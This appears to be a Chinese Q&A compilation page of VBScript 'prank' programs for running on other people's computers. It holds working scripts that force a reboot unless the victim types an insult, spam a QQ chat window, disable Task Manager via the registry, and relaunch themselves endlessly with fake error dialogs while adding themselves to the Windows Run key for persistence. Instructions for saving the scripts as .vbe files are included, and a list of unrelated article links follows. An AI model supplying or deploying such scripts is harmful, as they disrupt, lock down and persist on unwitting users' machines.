vbs恶搞代码（求一些厉害的vbs整人程序代码）
本文目录
求一些厉害的vbs整人程序代码
首先创建 文本文档，将以下代码复制。on error resume next dim WSHshellA set WSHshellA = wscript.createobject(“wscript.shell“) WSHshellA.run “cmd.exe /c shutdown -r -t 60 -c ““说我是只猪，不说就一分钟关你机，不信，试试···““ “,0 ,true dim a do while(a 《》 “我是只猪“) a = inputbox (“说我是只猪,就不关机，速度，说 ““我是只猪““ “,“说不说“,“不说“,8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,“MsgBox“ loop msgbox chr(13) + chr(13) + chr(13) + “哈哈你是只猪“ dim WSHshell set WSHshell = wscript.createobject(“wscript.shell“) WSHshell.run “cmd.exe /c shutdown -a“,0 ,true msgbox chr(13) + chr(13) + chr(13) + “哈哈哈哈“复制好代码后，修改文件名.txt 更改为.vbe。大功告成！
有什么在QQ聊天中用的vbs整人代码
On Error Resume NextDim wsh,yeset wsh=createobject(“wscript.shell“)for i=1 to 10wscript.sleep 700wsh.AppActivate(“与 xx 聊天中“)wsh.sendKeys “^v“wsh.sendKeys iwsh.sendKeys “%s“nextwscript.quit
求一段vbs恶搞代码，急！！
加在do前面 如：
Set ws=CreateObject(“WScript.Shell“) ws.regwrite“HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr“,1,“REG_DWORD“domsgbox“xxxxxx“loop在网上看到有人说可以用vbs代码去整人，哪位能告诉我什么是vbs代码呢
vbs是win脚本，可以像程序一样运行，可以调用系统命令来完成一些操作，比如读写文件，读写注册表，删除文件，运行文件等。vbs和js主要靠宿主wscript.exe或cscript.exe运行，靠宿主运行且可以执行一些系统命令的还有bat和cmd，它们靠cmd.exe运行。还有inf文件，主要用于系统驱动等的安装。像inf这样的脚本文件在win系统里其实有很多，比如msc文件靠mmc.exe执行。win下比较强大的脚本也只有vbs，js，和bat，vbs和bat主要应用于系统，js主要应用于网络。vbe是vbs的加密版，cmd是bat的加强版。再说vbs整人：vbs运行系统文件shutdown -s就可以关机；shutdown -r就重起电脑，默认30秒倒计时，但在后面写上 -t 0 就成0秒倒计时关机了，最多闪一下黑窗就关机了。
谁知道有什么vbs的整人代码吗
如果只是开玩笑用这个：危害度：0整人度：1domsgbox “你好！“loop这个稍微狠一点：危害度：2整人度：2Set sh=CreateObject(“WScript.Shell“)dim i,s,z,thnz=array(4,5,16,32,48,64)i=0s=1dodo while i《si=i+1sh.run wscript.scriptfullnameloops=s+1i=0randomizewscript.sleep int(rnd()*100)msgbox “程序发生未知的错误!“,z(int((6-1)*rnd()+1)),“Error?@#%^&)TGDZX%#@C889“thn=wscript.scriptfullnamesh.RegWrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system23“,thnloop还有这个流行的“我是猪”：on error resume nextdim WSHshellAset WSHshellA = wscript.createobject(“wscript.shell“)WSHshellA.run “cmd.exe /c shutdown -r -t 60 -c ““说我是猪，不说“我是猪”就会关机，不信……试下。““ “,0 ,true dim ado while(a 《》 “我是猪“) a = inputbox (“说我是猪,就可以不关机，快点，说 ““我是猪““ “,“好好考虑吧……“,“你才是“,8000,7000) if a=“你才是“then if df《》“yes“ then dim df df=“yes“ msgbox “敢骂我，你再骂一次试看看！“,vbApplicationModa+VbMsgBoxSetFore+vbSystemModal else msgbox “好哇，天堂有路你不走，关机无门你偏来，关机吧~~~“,vbApplicationModa+VbMsgBoxSetFore+vbSystemModal set WSHshell = wscript.createobject(“wscript.shell“) WSHshell.run “cmd.exe /c shutdown -a“,0 ,true WSHshellA.run “cmd.exe /c shutdown -r -t 0 -c ““说我是猪，不说“我是猪”就会关机，不信……试下。““ “,0 ,true end if end ifloopdim WSHshellset WSHshell = wscript.createobject(“wscript.shell“)WSHshell.run “cmd.exe /c shutdown -a“,0 ,true msgbox chr(13) + “早说不就行了嘛“,vbApplicationModa+VbMsgBoxSetFore+vbSystemModalmsgbox chr(13) + “哈哈哈哈，人才，人才呀“,vbApplicationModa+VbMsgBoxSetFore+vbSystemModal危害度：1整人度：4不过，楼主，我还是忠心的提醒您一下：开玩笑可别过火啊。
更多文章：
2025年2月26日 18:00
css中position的属性（CSS position属性）
2025年3月30日 16:50
customs declaration（customs clearance和customs declarance的区别）
2025年3月21日 15:30
typescript怎么读（TypeScript如何读写Json文件，主要是如何写入数据到json文件中）
2025年3月26日 04:00
2025年2月18日 23:10
2025年2月22日 09:50
2025年2月20日 08:20
w3school手机版下载（请问去哪下载3wschool，我想自学web前端）
2025年3月19日 14:50
2025年3月27日 07:50
2025年3月14日 16:10
2025年3月6日 07:20
foreign是什么意思翻译（alien和foreign作为形容词时的区别）
2025年2月20日 19:30
time is（what.time.is.it.mom翻译）
2025年3月28日 01:30
2025年2月22日 10:10
2025年4月1日 11:00
antenna公司（“国民MC”刘在石签约柳熙烈公司，他们两人将会擦出怎样的火花）
2025年2月9日 23:10
虚拟机怎么共享本机文件？vmware虚拟机，如何将本地主机的文件导入虚拟机
2025年3月24日 22:40
2025年2月28日 03:20
